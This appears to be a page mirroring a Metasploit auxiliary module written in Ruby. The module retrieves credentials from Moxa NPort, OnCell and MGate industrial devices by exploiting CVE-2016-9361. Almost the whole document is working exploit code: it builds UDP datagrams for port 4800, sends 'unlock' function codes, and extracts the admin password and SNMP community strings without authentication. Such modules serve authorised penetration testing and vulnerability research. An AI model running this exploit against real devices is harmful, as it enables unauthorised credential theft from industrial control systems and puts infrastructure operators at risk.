CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Moxa Device Credential Retrieval',
13
'Description' => %q{
14
The Moxa protocol listens on 4800/UDP and will respond to broadcast
15
or direct traffic. The service is known to be used on Moxa devices
16
in the NPort, OnCell, and MGate product lines. Many devices with
17
firmware versions older than 2017 or late 2016 allow admin credentials
18
and SNMP read and read/write community strings to be retrieved without
19
authentication.
20
21
This module is the work of Patrick DeSantis of Cisco Talos and K. Reid
22
Wightman.
23
24
Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,
25
and NPort 5110 firmware 2.6.
26
27
},
28
'Author' =>
29
[
30
'Patrick DeSantis <p[at]t-r10t.com>',
31
'K. Reid Wightman <reid[at]revics-security.com>'
32
],
33
34
'License' => MSF_LICENSE,
35
'References' =>
36
[
37
[ 'CVE', '2016-9361'],
38
[ 'BID', '85965'],
39
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
40
[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],
41
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']
42
],
43
'DisclosureDate' => '2015-07-28'))
44
45
register_options([
46
# Moxa protocol listens on 4800/UDP by default
47
Opt::RPORT(4800),
48
OptEnum.new("FUNCTION", [true, "Pull credentials or enumerate all function codes", "CREDS",
49
[
50
"CREDS",
51
"ENUM"
52
]])
53
])
54
end
55
56
def fc() {
57
# Function codes
58
'ident' => "\x01", # identify device
59
'name' => "\x10", # get the "server name" of the device
60
'netstat' => "\x14", # network activity of the device
61
'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate
62
'date_time' => "\x1a", # get the device date and time
63
'time_server' => "\x1b", # get the time server of device
64
'unlock2' => "\x1e", # "unlock" 6xxx series devices
65
'snmp_read' => "\x28", # snmp community strings
66
'pass' => "\x29", # admin password of some devices
67
'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx
68
'enum' => "enum" # mock fc to catch "ENUM" option
69
}
70
end
71
72
def send_datagram(func, tail)
73
if fc[func] == "\x01"
74
# identify datagrams have a length of 8 bytes and no tail
75
datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"
76
begin
77
udp_sock.put(datagram)
78
response = udp_sock.get(3)
79
rescue ::Timeout::Error
80
end
81
format_output(response)
82
# the last 16 bytes of the ident response are used as a form of auth for
83
# function codes other than 0x01
84
tail = response[8..24]
85
elsif fc[func] == "enum"
86
for i in ("\x02".."\x80") do
87
# start at 2 since 0 is invalid and 1 is ident
88
datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail
89
begin
90
udp_sock.put(datagram)
91
response = udp_sock.get(3)
92
end
93
if response[1] != "\x04"
94
vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")
95
format_output(response)
96
end
97
end
98
else
99
# all non-ident datagrams have a len of 14 bytes and include a tail that
100
# is comprised of bytes obtained during the ident
101
datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail
102
begin
103
udp_sock.put(datagram)
104
response = udp_sock.get(3)
105
if valid_resp(fc[func], response) == -1
106
# invalid response, so don't bother trying to parse it
107
return
108
end
109
if fc[func] == "\x2c"
110
# try this, note it may fail
111
get_creds(response)
112
end
113
if fc[func] == "\x29"
114
# try this, note it may fail
115
get_pass(response)
116
end
117
if fc[func] == "\x28"
118
# try this, note it may fail
119
get_snmp_read(response)
120
end
121
rescue ::Timeout::Error
122
end
123
format_output(response)
124
end
125
end
126
127
# helper function for extracting strings from payload
128
def get_string(data)
129
str_end = data.index("\x00")
130
return data[0..str_end]
131
end
132
133
# helper function for extracting password from 0x29 FC response
134
def get_pass(response)
135
if response.length() < 200
136
print_error("get_pass failed: response not long enough")
137
return
138
end
139
pass = get_string(response[200..-1])
140
print_good("password retrieved: #{pass}")
141
store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)
142
return pass
143
end
144
145
# helper function for extracting snmp community from 0x28 FC response
146
def get_snmp_read(response)
147
if response.length() < 24
148
print_error("get_snmp_read failed: response not long enough")
149
return
150
end
151
snmp_string = get_string(response[24..-1])
152
print_good("snmp community retrieved: #{snmp_string}")
153
store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)
154
end
155
156
# helper function for extracting snmp community from 0x2C FC response
157
def get_snmp_write(response)
158
if response.length() < 64
159
print_error("get_snmp_write failed: response not long enough")
160
return
161
end
162
snmp_string = get_string(response[64..-1])
163
print_good("snmp read/write community retrieved: #{snmp_string}")
164
store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)
165
end
166
167
# helper function for extracting snmp and pass from 0x2C FC response
168
# Note that 0x2C response is basically 0x28 and 0x29 mashed together
169
def get_creds(response)
170
if response.length() < 200
171
# attempt failed. device may not be unlocked
172
print_error("get_creds failed: response not long enough. Will fall back to other functions")
173
return -1
174
end
175
get_snmp_read(response)
176
get_snmp_write(response)
177
get_pass(response)
178
end
179
180
# helper function to verify that the response was actually for our request
181
# Simply makes sure the response function code has most significant bit
182
# of the request number set
183
# returns 0 if everything is ok
184
# returns -1 if functions don't match
185
def valid_resp(func, resp)
186
# get the query function code to an integer
187
qfc = func.unpack("C")[0]
188
# make the response function code an integer
189
rfc = resp[0].unpack("C")[0]
190
if rfc == (qfc + 0x80)
191
return 0
192
else
193
return -1
194
end
195
end
196
197
def format_output(resp)
198
# output response bytes as hexdump
199
vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")
200
end
201
def check
202
connect_udp
203
204
begin
205
# send the identify command
206
udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")
207
response = udp_sock.get(3)
208
end
209
210
if response
211
# A valid response is 24 bytes, starts with 0x81, and contains the values
212
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
213
if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
214
format_output(response)
215
return Exploit::CheckCode::Appears
216
end
217
else
218
vprint_error("Unknown response")
219
return Exploit::CheckCode::Unknown
220
end
221
cleanup
222
223
Exploit::CheckCode::Safe
224
end
225
226
def run
227
unless check == Exploit::CheckCode::Appears
228
print_error("Aborted because the target does not seem vulnerable.")
229
return
230
end
231
232
function = datastore["FUNCTION"]
233
234
connect_udp
235
236
# identify the device and get bytes for the "tail"
237
tail = send_datagram('ident', nil)
238
239
# get the "server name" from the device
240
send_datagram('name', tail)
241
242
# "unlock" the device
243
# We send both versions of the unlock FC, this doesn't seem
244
# to hurt anything on any devices tested
245
send_datagram('unlock1', tail)
246
send_datagram('unlock2', tail)
247
248
if function == "CREDS"
249
# grab data
250
send_datagram('all_creds', tail)
251
send_datagram('snmp_read', tail)
252
send_datagram('pass', tail)
253
elsif function == "ENUM"
254
send_datagram('enum', tail)
255
else
256
print_error("Invalid FUNCTION")
257
end
258
259
disconnect_udp
260
end
261
end
262
263